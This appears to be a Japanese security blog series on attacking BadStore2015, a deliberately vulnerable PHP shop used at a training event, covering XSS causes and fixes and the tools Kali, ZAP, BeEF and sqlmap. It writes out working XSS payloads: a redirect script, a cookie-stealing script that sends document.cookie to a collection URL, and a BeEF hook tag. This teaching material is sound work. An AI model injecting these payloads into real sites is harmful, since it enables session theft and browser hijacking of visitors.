Bugfix Backend を攻撃してみた(XSS編)

全体の概要と注意事項は以下の記事で説明しているので、必ず目を通して欲しい。otameshi61.hatenablog.com

XSS

HTML生成の部分で問題があると、Cross-site scripting(XSS)という脆弱性が起こる。XSSを利用した攻撃の一つとして、JavaScriptをサイトに埋め込むことができる。

原因

ユーザーから受け取った文字列をサニタイジング(無害化)を行っていないことが原因である。特に、HTMLの特殊文字サニタイジングの方法としてはHTMLのエスケープがある。e-words.jp

HTMLのエスケープを行わずにユーザーからの入力を出力を行う箇所が存在した場合、XSSの攻撃が可能となる場合がある。

Badstore2015では、doguestbook.phpの以下の部分

<?php echo $row['comment']; ?>

において、ユーザーから受け取った文字列をそのまま出力している。この時にユーザーが
f:id:otameshi61:20150405135459p:plain
と入力を行うと、出力部では、このようにimageタグが埋め込まれた表示になる。
f:id:otameshi61:20150404153618p:plain

ページのソースをみると
f:id:otameshi61:20150404153712p:plain

となり、タグがそのまま入力されていることが分かる。

対策

PHPでは、htmlspecialcharsという関数でHTMLのエスケープを行うことができる。
http://php.net/htmlspecialchars

<?php echo htmlspecialchars($row['comment'],ENT_COMPAT,'UTF-8'); ?>

HTMLのエスケープを行った後の表示はこのようになる。
f:id:otameshi61:20150404154237p:plain

ページのソースはこのようになる。
f:id:otameshi61:20150404154245p:plain

< が & lt; となっており、特殊記号が実体参照に変換されていて、HTMLのエスケープが正しく行われていることがわかる。

しかし、HTMLのエスケープだけではサニタイズが不十分な場合がある。そのような例は、後ほど紹介する。

被害

上記ではimageタグの埋め込みという無害な例を示した。XSSの攻撃では、scriptタグの埋め込みによるブラウザ上での攻撃がなされる。

JavaScriptの攻撃では、リダイレクトやcookieの盗み出しなどがある。JavaScriptがほとんど書けない人でも様々な攻撃を容易にするフレームワークとしてBeEFが存在する。

順に説明していく。

リダイレクト

リダイレクトは、

<script>window.location = "http://localhost/hoge.php";</script>

を埋め込むことで、このページにアクセスしてきた相手をhttp://localhost/hoge.php に飛ばすことができる。
攻撃者としては、フィッシングサイトやマルウェアの配布サイトやアフィリエイト稼ぎのサイトに飛ばすことができる。

cookieの盗み出し

cookieの盗み出し
被害者のセッションIDを盗んで相手のセッションを奪う攻撃に利用される。JavaScriptからCookieを送信するコードを書いても良いが、たとえば

<script>window.location = "http://localhost/hoge.php?cookie="+document.cookie;</script>

と書き込めばクッキー情報をつけたままアクセスが行われる。取集用のスクリプトを用意しても良いし、アクセスログからもクッキー情報を抜くことができる。

BeEF

XSSの攻撃を容易するために、BeEFというフレームワークがある。この他にもMetasploit のxssfというフレームワークが有名である。
これらのフレームワークでは、攻撃スクリプトを読み込むことでブラウザの攻撃を行う。
以下のようなBeEFの実行画面
f:id:otameshi61:20150404161042p:plain

攻撃スクリプトの読み込みは、画像のHook URLを読み込むようにすればよい。

<script src='http://127.0.0.1:3000/hook.js'></script>

このタグを埋め込まれたページを踏んだユーザーを管理と攻撃を行う管理画面は以下のようになっている。
f:id:otameshi61:20150404161326p:plain

JavaScriptをあまり知らないひとでも簡単に相手の情報を盗み、web カメラを起動したり、ブラウザで音をならしたり、フィッシングサイトに招いたりすることが、GUIを利用してぽちぽちボタンを押してるだけで出来る。

発展的な内容

HTMLのエスケープでは、サニタイズとして不十分な例を示す。
"メッセージを残す"では、URLを指定しpageにリンクを埋め込むことができる。

作成者の想定通りの利用法
  • 入力

f:id:otameshi61:20150405151942p:plain

  • 表示

f:id:otameshi61:20150405151957p:plain

  • ページのソース

f:id:otameshi61:20150405152008p:plain

JavaScriptはa要素のhref属性の属性値として、javascript:JavaScript式という形式でJavaScriptを起動することができる。
以下のようにすることで、HTMLのエスケープを回避してJavaScriptを埋め込むことができる。

悪意のある利用法
  • 入力

f:id:otameshi61:20150405152545p:plain

  • pageを押した後の挙動(JavaScriptが実行されていることがわかる)

f:id:otameshi61:20150405152737p:plain

  • ページのソース

f:id:otameshi61:20150405152552p:plain

対策

hrefに出力する前に、http: かhttps: で始まるURLになっているか、/から始まる相対パスになっているかを確認するようにする

まとめ

Badstore2015において発生するXSSの問題について簡単に触れた。

Bug Fix Backend を攻撃してみた

ADF2015のBug Fix Backendで利用したアプリケーションのバグを修正するのではなく、攻撃するという私が勝手にやりたかったコンテンツである。

ADF2015などについては、otameshi61.hatenablog.com

この記事では、2日目の夜にLT会の「Bug Fix Backendを攻撃してみた」において、話すつもりであったトピックに幾つか触れてみる。ちなみに、私のLTは2日目の最後であり諸々のスケジュールが押したため省略された。悲しい。

対象とするアプリケーションはBug Fix Backendで利用したもので、以下で公開している。画像などは少し変更している。また、いくつかのバグの修正と機能を加えている。

github.com

BadStore2015

BadStore2015はPHPで実装された簡易ショピングサイトである。

扱うセキュリティ上の問題

今回扱うセキュリティ上の問題は、主に3点

  • XSS
  • SQL Injection
  • Passwordの保持の仕方について

本文を書いてたら長くなったので、それぞれ別の記事にする。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)

近日公開予定と書いたが、記事を書かない気しかしない。

はじめに

攻撃をしながらセキュリティ上の問題を眺めてみることが本記事の目的である。

最近では便利なフレームワークがたくさんあり、フレームワークの規約にしたがっている限りはセキュリティ上の問題は発生しにくい。それはそれで良いのだが、有名なサイトでもクラックされている現状を見る限り、どこかに問題が入り込む可能性は捨てきれない。

ここで紹介するのはPHPだから起こる問題ではない。Web アプリケーションであれば、これらのセキュリティ上の問題が起こる可能性を内在している。大抵の場合、フレームワークがいつの間にかに問題が起きないようにうまく処理してくれている。

セキュリティ上の問題を身近に感じてもらいたいと思いこの記事を書いている。この記事が多少なりとでも、セキュリティ意識の向上につながれば嬉しい。

当然だが、このブログは上記アプリケーションを検査するためだけのものであり、一般に公開されているサイトに対して行ってはならない。また、本ブログで紹介する方法で被害が生じたとしても本ブログは一切責任をもたないものとする。これらを了承できない場合、これ以上読み進めるのは避けていただきたい。

なお、全体的に説明不足であり、網羅性に欠けている。さらにWebのセキュリティについて詳しく知りたい方は「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」(通称、徳丸本)をぜひ読んで欲しい。

また、IPAからも安全なウェブサイトの作り方という資料がある。www.ipa.go.jp

本文中に間違いがあればぜひ知らせて欲しい。可能な限り早く対応する。

ツール

今回の記事で利用する予定のツールを一覧で紹介しておく。
VirtualBoxにKali Linuxを入れれば以下のすべてのツールが使える。どれもOS Xで動くためKali Linuxを入れる必要はない。それぞれのツールの利用法を検索した際にホストOSとしてKali Linuxが利用されていることが多いため紹介だけしておく。

ここで紹介するツールは非常に多機能なものが多く、すべての機能を説明することは不可能である。興味がわいたら各自調べて欲しい。

Kali Linux

https://www.kali.org/
侵入テストに特化したディストリビューション。侵入テストに有名なツールはすべて入ってる。

OWASP ZAP

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Web アプリケーションのスキャンツール。稼働しているサービスのURLを与えれば、勝手にスキャンしてくれる。スキャンといってもデフォルトの設定でも不正なパラメータを大量に送りつけるため注意すること。

BeEF

http://beefproject.com/
Browser Exploitation Framework のひとつ。XSSが成立した後にブラウザを攻撃していくためのframework。

sqlmap

http://sqlmap.org/
SQL Injectionを自動でスキャンから攻撃まで行ってくれる。これも、デフォルトの設定では不正なパラメータを大量に送りつけるため注意すること。

OWASP ZAP

OWASP ZAPでBadstore2015を調査する。自分のサービスを指定して"Attack"を押すと調査を始めてくれる。アプリケーションのページを巡回し、Formなどのパラメータで脆弱な箇所はないかを調べてくれる。問題を起こすようなパラメータを勝手に送りつけたりするため、注意が必要である。

Badstore2015に対して行った時の結果を以下に示す。

f:id:otameshi61:20150404151126p:plain

XSSが3件、SQL Injection が3件報告されており、それぞれ、どのページの、どのパラメータが攻撃可能かも知らせてくれる。その他の報告についてはここでは触れないが興味があれば見てみてほしい。

XSSSQL Injectionについて以下で見ていく。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)